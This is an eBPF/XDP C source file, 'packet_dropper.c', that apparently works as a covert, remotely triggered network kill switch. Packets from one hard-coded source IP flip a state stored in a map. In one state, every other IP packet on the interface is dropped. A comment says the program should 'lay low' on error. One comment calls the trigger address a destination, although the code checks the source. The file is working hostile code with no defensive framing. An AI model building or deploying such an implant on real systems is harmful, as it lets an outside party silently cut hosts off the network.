xdp-program/packet_dropper.c
b9ef8fbd63fface91ff3cd98d7d702f9827c322d
· 1.9 KB · 77 lines
raw
| 1 | #include <linux/bpf.h> |
| 2 | #include <bpf/bpf_helpers.h> |
| 3 | #include <linux/if_ether.h> |
| 4 | #include <linux/in.h> |
| 5 | #include <linux/if_packet.h> |
| 6 | #include <linux/ip.h> |
| 7 | #include <linux/tcp.h> |
| 8 | |
| 9 | struct { |
| 10 | __uint(type, BPF_MAP_TYPE_ARRAY); |
| 11 | __type(key, __u32); |
| 12 | __type(value, __u32); |
| 13 | __uint(max_entries, 1); |
| 14 | } status SEC(".maps"); |
| 15 | |
| 16 | SEC("xdpentry") |
| 17 | int entry(struct xdp_md *ctx) { |
| 18 | // Prepare some data structures |
| 19 | __u32 *rec; |
| 20 | __u32 key = 0; |
| 21 | void *data_end = (void *)(long)ctx->data_end; |
| 22 | void *data = (void *)(long)ctx->data; |
| 23 | struct ethhdr *eth = data; |
| 24 | |
| 25 | rec = bpf_map_lookup_elem(&status, &key); // Lookup current packet status from kernel map |
| 26 | if (!rec) { |
| 27 | return XDP_DROP; // try to lay low on error |
| 28 | } |
| 29 | //bpf_printk("Rec: %u", *rec); // Debug prints |
| 30 | if ((*rec != 55) && (*rec != 56)) { |
| 31 | // First run check |
| 32 | // bpf_printk("Resetting rec!"); // Debug Prints |
| 33 | *rec = 56; // set default value for map |
| 34 | } |
| 35 | |
| 36 | if (eth + 1 > data_end) // Bounds checking for xdp preverifier |
| 37 | return XDP_PASS; // This should never run normally |
| 38 | |
| 39 | /** if(eth->h_proto != ETH_P_IP) { |
| 40 | return XDP_PASS; // don't kill layer 2 traffic |
| 41 | } **/ |
| 42 | |
| 43 | struct iphdr *iph = data + sizeof(struct ethhdr); |
| 44 | if (iph + 1 > data_end) // More bounds checking |
| 45 | return XDP_PASS; // This should never run either |
| 46 | // |
| 47 | __u32 ip_src = iph->saddr; // grab source address of packet |
| 48 | // bpf_printk("Incoming packet: %u\n", ip_src); // Debug print |
| 49 | // Determine if we need to further process this packet |
| 50 | if (ip_src == 1946091487) { |
| 51 | // This packet had a destination of 223.255.254.115, do something! |
| 52 | // bpf_printk("Got it!, setting rec..."); // Debug print |
| 53 | switch (*rec) { |
| 54 | case 55 : |
| 55 | *rec = 56; |
| 56 | break; |
| 57 | case 56 : |
| 58 | *rec = 55; |
| 59 | break; |
| 60 | } |
| 61 | return XDP_DROP; |
| 62 | } |
| 63 | else if (ip_src == 0) { |
| 64 | // most likely a layer 2 packet, let it thru |
| 65 | return XDP_PASS; |
| 66 | } |
| 67 | |
| 68 | // Finish processing |
| 69 | if (*rec == 55) { |
| 70 | return XDP_DROP; |
| 71 | } else { |
| 72 | return XDP_PASS; |
| 73 | } |
| 74 | } |
| 75 | |
| 76 | |
| 77 | char _license[] SEC("license")= "GPL"; |